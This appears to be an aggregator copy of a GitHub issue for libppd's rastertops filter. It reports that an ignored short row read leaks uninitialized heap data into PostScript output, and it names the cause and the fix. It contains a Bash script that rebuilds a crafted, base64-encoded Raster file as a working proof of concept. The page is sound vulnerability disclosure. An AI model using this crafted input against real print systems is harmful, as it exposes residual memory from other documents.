OpenPrinting / OpenPrinting/libppd

rastertops: a truncated row leaks residual heap data into PostScript

Open Beginner friendly
#86 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
5
Forks
29
PR merge metrics
No merged PRs in 30d

Description

Summary

ppdFilterRasterToPS() ignores a short raster-row read and compresses the
entire uninitialized row buffer into its PostScript output. A two-page Raster
document whose first page contains a marker and whose second page contains
only a header makes the second page expose allocator data and residual bytes
from the first page.

The document alone reaches the normal standalone rastertops filter. The
confidentiality impact depends on access to the generated PostScript stream.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.ras contains two 64x1 K8 CUPS Raster v3 pages. Page one has a
controlled marker; page two has no pixel body. It is 3,660 bytes with SHA-256
706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: rastertops: a truncated row leaks residual heap data into PostScript
# Finding ID: rastertops-truncated-row-heap-disclosure
# Trigger: ppdFilterRasterToPS() ignores a short raster-row read and
# compresses the entire uninitialized row buffer into its PostScript output. A
# two-page Raster document whose first page contains a marker and whose second
# page contains only a header makes the second page expose allocator data and
# residual bytes from the first page.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.ras (3660 bytes)
write_file document.ras 706e6187a4b46ab57b93b56fd3c6c3a52c4052f66c8d7aa7e9ed5f7fbbb8b75b <<'POC_PAYLOAD_0'
H4sIAAAAAAACAwtKDDZmGGAQkJOYmUeBfqecxORsqruKUQeC4cABJEiKAQT0IotxQLEDlM+MxQxG
+wagX4EYRI+CUTAKRsEooA7wcXX01vV1DPJ2DdI1MDQyNjE1M7ewTExKTklNI0ZutA4drUNHwSgY
BaNgpAIAVQd2MkwOAAA=
POC_PAYLOAD_0

Result

Both PostScript image streams decompress to 64 bytes. The first is controlled:

LEAK-MARKER-0123456789abcdef...

The second begins with changing allocator bytes and retains the first page's
tail, for example:

997688b2cf60000000000000000000003435363738396162636465664c45414b...

Repeated runs change the second-page hash while preserving residual marker
fragments.

Cause and expected behavior

write_flate() allocates PixelBuffer at rastertops.c:270, ignores the
return value from cupsRasterReadPixels() at line 271, and then copies and
compresses a complete row at lines 280-290. The second page reuses a heap
chunk whose contents were never replaced by raster data.

The filter must treat any short row as a truncated document, stop the page,
and avoid serializing the unread portion of PixelBuffer.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in rastertops.c around write_flate() at lines 270-290, then run reproduce.sh with the provided poc/document.ras. Done means a short raster-row read is treated as a truncated document and the unread portion is absent from the generated PostScript image stream.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.